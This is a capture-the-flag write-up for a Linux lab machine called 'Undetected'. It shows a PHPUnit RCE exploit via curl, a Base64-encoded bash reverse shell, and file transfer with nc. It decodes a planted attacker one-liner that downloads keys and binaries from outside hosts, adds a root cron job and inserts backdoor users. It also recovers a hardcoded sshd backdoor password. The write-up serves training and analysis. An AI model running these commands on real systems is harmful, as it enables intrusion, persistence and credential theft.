Undetected
12 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.146
- Release: 19 / 02 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.146 -p 22,80
Nmap scan report for 10.10.11.146
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Diana's Jewelry
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 15.22 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Web enumeration
If we go to http://10.10.11.146
we will see a website like this:
If we click on “VISIT STORE”, we will be redirected to http://store.djewelry.htb
. After setting the subdomain in /etc/hosts
we will see the following website:
But nothing interesting at all. Let’s fuzz to enumerate some routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://store.djewelry.htb/FUZZ
images [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 93ms]
css [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 129ms]
js [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 225ms]
vendor [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 126ms]
fonts [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 108ms]
[Status: 200, Size: 6215, Words: 528, Lines: 196, Duration: 184ms]
server-status [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 94ms]
There is a /vendor
route:
This directory shows the dependencies of the web project. There is a vulnerability for phpunit
that leads to Remote Code Execution (RCE). It is shown in blog.ovhcloud.com (CVE-2017-9841) and we can eploit it using a simple curl
command:
$ curl -d '<?php system("whoami");' store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
www-data
Foothold on the machine
Nice, let’s get a reverse shell on the machine using a Bash command encoded in Base64:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl -d '<?php system("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash");' store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.146.
Ncat: Connection from 10.10.11.146:46572.
bash: cannot set terminal process group (934): Inappropriate ioctl for device
bash: no job control in this shell
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ cd /
cd /
www-data@production:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@production:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@production:/$ export TERM=xterm
www-data@production:/$ export SHELL=bash
www-data@production:/$ stty rows 50 columns 158
System enumeration
The first thing we notice is that there is one user called steven
:
www-data@production:/$ ls /home
steven
Unexpectedly, there is a user called steven1
in /etc/passwd
, and with the same user ID (1000):
www-data@production:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
This is really strange, isn’t it? Let’s check what files we can access as www-data
:
www-data@production:/$ find / -user www-data -type f 2>/dev/null | grep -vE 'proc|www'
/var/backups/info
We have /var/backups/info
:
www-data@production:/$ ls -l /var/backups/info
-r-x------ 1 www-data www-data 27296 May 14 2021 /var/backups/info
We are able to read an execute this file. It is a 64-bit ELF:
www-data@production:/$ file /var/backups/info
/var/backups/info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
If we execute the binary file, we see it is a kernel exploit, but seems not to work:
www-data@production:/$ /var/backups/info
[.] starting
[.] namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[-] substring 'ffff' not found in dmesg
We can start thinking that the machine is already comprimised.
Since strings
is not installed on the machine, let’s transfer the binary to our machine using nc
:
www-data@production:/$ nc 10.10.14.62 4444 < /var/backups/info
^C
www-data@production:/$ md5sum /var/backups/info
04060ea986c7bacdc64130a1d7b8ca2d /var/backups/info
$ nc -nlvp 4444 > info
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.146.
Ncat: Connection from 10.10.11.146:40972.
$ md5sum info
04060ea986c7bacdc64130a1d7b8ca2d info
Having checked the integrity of the file, we can run strings
on it and obtain a large string:
$ strings -100 info
776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b
This seems to be encoded in hexadecimal digits (there are only numbers and letters from a
to f
). Let’s decode it using xxd
:
$ strings -100 info | xxd -r -p
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;
It is a “one-liner” shell command. If we break it into pieces, we have this:
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys
wget tempfiles.xyz/.main -O /var/lib/.main
chmod 755 /var/lib/.main
echo "* 3 * * * root /var/lib/.main" >> /etc/crontab
awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd
awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd
while read -r user group home shell _; do
echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd
done < users.txt
rm users.txt
First it is downloading a file called .main
, storing it in /var/lib/.main
and setting it to run every minute between 03:00 and 03:59 (that’s what * 3 * * *
means, check it out using crontab.cronhub.io). Although /etc/crontab
has this configuration set:
www-data@production:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* 3 * * * root /var/lib/.main
The file /var/lib/.main
does not exist:
steven@production:~$ ls -l /var/lib/.main
ls: cannot access '/var/lib/.main': No such file or directory
Lateral movement to user steven
Hence, let’s continue with the “one-liner” command. Next, it adds a hashed password into /etc/passwd
seting the username to "$user"1
. It’s clear that this refers to steven1
. Let’s crack the hashed password with john
:
$ echo "steven1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7:::" > hash
$ john --wordlist=$WORDLISTS/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
ihatehackers (steven1)
1g 0:00:01:32 DONE 0.01078g/s 961.2p/s 961.2c/s 961.2C/s iloveyoudaddy..halo03
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
With this password, we can login as steven1
using SSH:
$ ssh steven1@10.10.11.146
steven1@10.10.11.146's password:
steven@production:~$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ cat user.txt
61bbcee605d3d4f5a4deef36b75c8126
Surprisingly, we are steven
(not steven1
). This happens because both users have the same user ID. Now that we have the user.txt
flag, let’s continue enumerating.
Apache service enumeration
This user has an email at /var/mail/steven
:
steven@production:~$ find / -user steven 2>/dev/null | grep -vE 'proc|sys|run'
/dev/pts/0
/var/mail/steven
/home/steven
/home/steven/.cache
/home/steven/.cache/motd.legal-displayed
/home/steven/.bashrc
/home/steven/user.txt
/home/steven/.profile
/home/steven/.local
/home/steven/.local/share
/home/steven/.local/share/nano
/home/steven/.ssh
/home/steven/.bash_logout
/home/steven/.bash_history
steven@production:~$ cat /var/mail/steven
From root@production Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behavior with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin
It says that Apache is behaving in a strange way. Maybe the binary file /var/backups/info
has something to do. Let’s take the date of last modification of this file:
steven@production:~$ ls -l /var/backups/info
-r-x------ 1 www-data www-data 27296 May 14 2021 /var/backups/info
Now we can search for files from Apache around that date, maybe we are right and the server is already comprimised:
steven@production:~$ find / -newermt '2021-05-10' ! -newermt '2021-05-20' 2>/dev/null | grep apache
/usr/lib/apache2/modules/mod_reader.so
/etc/apache2/mods-available/reader.load
/etc/apache2/mods-enabled/reader.load
Following these files, we end up with another 64-bit ELF:
steven@production:~$ file /etc/apache2/mods-enabled/reader.load
/etc/apache2/mods-enabled/reader.load: symbolic link to ../mods-available/reader.load
steven@production:~$ file /etc/apache2/mods-available/reader.load
/etc/apache2/mods-available/reader.load: ASCII text
steven@production:~$ cat /etc/apache2/mods-enabled/reader.load
LoadModule reader_module /usr/lib/apache2/modules/mod_reader.so
steven@production:~$ file /usr/lib/apache2/modules/mod_reader.so
/usr/lib/apache2/modules/mod_reader.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=e26fdc45e4b6561d29af8306c2be74f35ab140bb, with debug_info, not stripped
This is a module loaded into Apache (maybe a backdoor). Again, let’s transfer it to our machine using nc
:
steven@production:~$ nc 10.10.14.62 4444 < /usr/lib/apache2/modules/mod_reader.so
^C
steven@production:~$ md5sum /usr/lib/apache2/modules/mod_reader.so
5ef63371b6a138253a87aa1f79abf199 /usr/lib/apache2/modules/mod_reader.so
$ nc -nlvp 4444 > mod_reader.so
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.146.
Ncat: Connection from 10.10.11.146:44820.
$ md5sum mod_reader.so
5ef63371b6a138253a87aa1f79abf199 mod_reader.so
Running strings
in the binary results in another long string. This time it seems to be encoded in Base64 because we have numbers and letters (both uppercase and lowercase):
$ strings -120 mod_reader.so
d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk
$ strings -120 mod_reader.so | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
There is another “one-liner”, though this time is simpler:
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd
touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
This time, it is downloading a file called image.jpeg
and overwriting /usr/sbin/sshd
(obviously, it is not a JPEG image). After that, it modifies the date of /usr/sbin/sshd
to keep undetected.
Nice, so let’s transfer /usr/sbin/sshd
to our machine to analyze it:
steven@production:~$ nc 10.10.14.62 4444 < /usr/sbin/sshd
^C
steven@production:~$ md5sum /usr/sbin/sshd
9ae629656c6f72dc957358b1f41df27e /usr/sbin/sshd
$ nc -nlvp 4444 > sshd
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.146.
Ncat: Connection from 10.10.11.146:44820.
^C
$ md5sum sshd
9ae629656c6f72dc957358b1f41df27e sshd
Analyzing sshd
(reverse engineering)
We can open the file in Ghidra and look at the functions. Since it is a program that runs as daemon (that’s the meaning of the d
in sshd
), this program exports some functions that will be used by other programs such as ssh
.
Hence, we must look for exported functions. One of them is auth_password
, which smells because we see a variable called backdoor
(the binary is not stripped):
int auth_password(ssh *ssh, char *password) {
Authctxt *ctxt;
passwd *ppVar1;
int iVar2;
uint uVar3;
byte *pbVar4;
byte *pbVar5;
size_t sVar6;
byte bVar7;
int iVar8;
long in_FS_OFFSET;
char backdoor[31];
byte local_39[9];
long local_30;
bVar7 = 0xd6;
ctxt = (Authctxt *) ssh->authctxt;
local_30 = *(long *) (in_FS_OFFSET + 0x28);
backdoor._28_2_ = 0xa9f4;
ppVar1 = ctxt->pw;
iVar8 = ctxt->valid;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor[30] = -0x5b;
backdoor._0_4_ = 0xf0e7abd6;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._12_4_ = 0xfdb3d6e7;
pbVar4 = (byte *) backdoor;
while(true) {
pbVar5 = pbVar4 + 1;
*pbVar4 = bVar7 ^ 0x96;
if (pbVar5 == local_39) break;
bVar7 = *pbVar5;
pbVar4 = pbVar5;
}
iVar2 = strcmp(password, backdoor);
uVar3 = 1;
if (iVar2 != 0) {
sVar6 = strlen(password);
uVar3 = 0;
if (sVar6 < 0x401) {
if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
iVar8 = 0;
}
if ((*password != '\0') || (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
if (auth_password::expire_checked == 0) {
auth_password::expire_checked = 1;
iVar2 = auth_shadow_pwexpired(ctxt);
if (iVar2 != 0) {
ctxt->force_pwchange = 1;
}
}
iVar2 = sys_auth_passwd(ssh, password);
if (ctxt->force_pwchange != 0) {
auth_restrict_session(ssh);
}
uVar3 = (uint) (iVar2 != 0 && iVar8 != 0);
}
}
}
if (local_30 == *(long *) (in_FS_OFFSET + 0x28)) {
return uVar3;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Although Ghidra does something weird with backdoor
, we can guess that it is a string (char[31]
). We can join all the pieces to build the string, taking into account that _0_4_
means from index 0
and 4
bytes long. Moreover, hexadecimal numbers must be formatted in littel-endian to become bytes.
There is a number -0x5b
that must be put in positive because it must be a valid ASCII code (between 0 and 255, that is 0x00
and 0xff
). We need to compute the two’s complement, which is the same as negating the number (in positive) and adding 1: ~(0x5b) + 1 = 0xa4 + 1 = 0xa5
.
We can use some packing functions from pwntools
to pack the numbers depending on the size of the number (i.e., p64
, p32
, p16
or p8
).
We see an instruction strcmp(password, backdoor)
which might be comparing a password given to ssh
with the backdoor
variable we are working on. However, before doing the comparison, there is a cryptographic operation on backdoor
.
The while
loop is performing a XOR operation over every character of backdoor
using 0x96
as key. To decrypt a XOR cipher, we must perform another XOR operation but between the ciphertext and the same key used to encrypt, that is 0x96
.
Privilege escalation
Now we have everything we need to get the expected password. We can use Python and pwntools
to compute the password:
$ python -q
>>> from pwn import p8, p16, p32, p64
>>> backdoor = p32(0xf0e7abd6)
>>> backdoor += p32(0xa4b3a3f3)
>>> backdoor += p32(0xf7bbfdc8)
>>> backdoor += p32(0xfdb3d6e7)
>>> backdoor += p64(0xb2d6f4a0fda0b3d6)
>>> backdoor += p32(0xbcf0b5e3)
>>> backdoor += p16(0xa9f4)
>>> backdoor += p8(0xa5)
>>> ''.join(map(lambda b: chr(b ^ 0x96), backdoor))
'@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3'
Despite being unintelligible, if we provide this password for user root
, we can access via SSH. Moreover, we can confirm that the machine was already comprimised because the cybercriminals got root
access via SSH:
$ ssh root@10.10.11.146
root@10.10.11.146's password:
root@production:~# cat root.txt
3afbb2e3f9d6f2329f00f41711a94cd8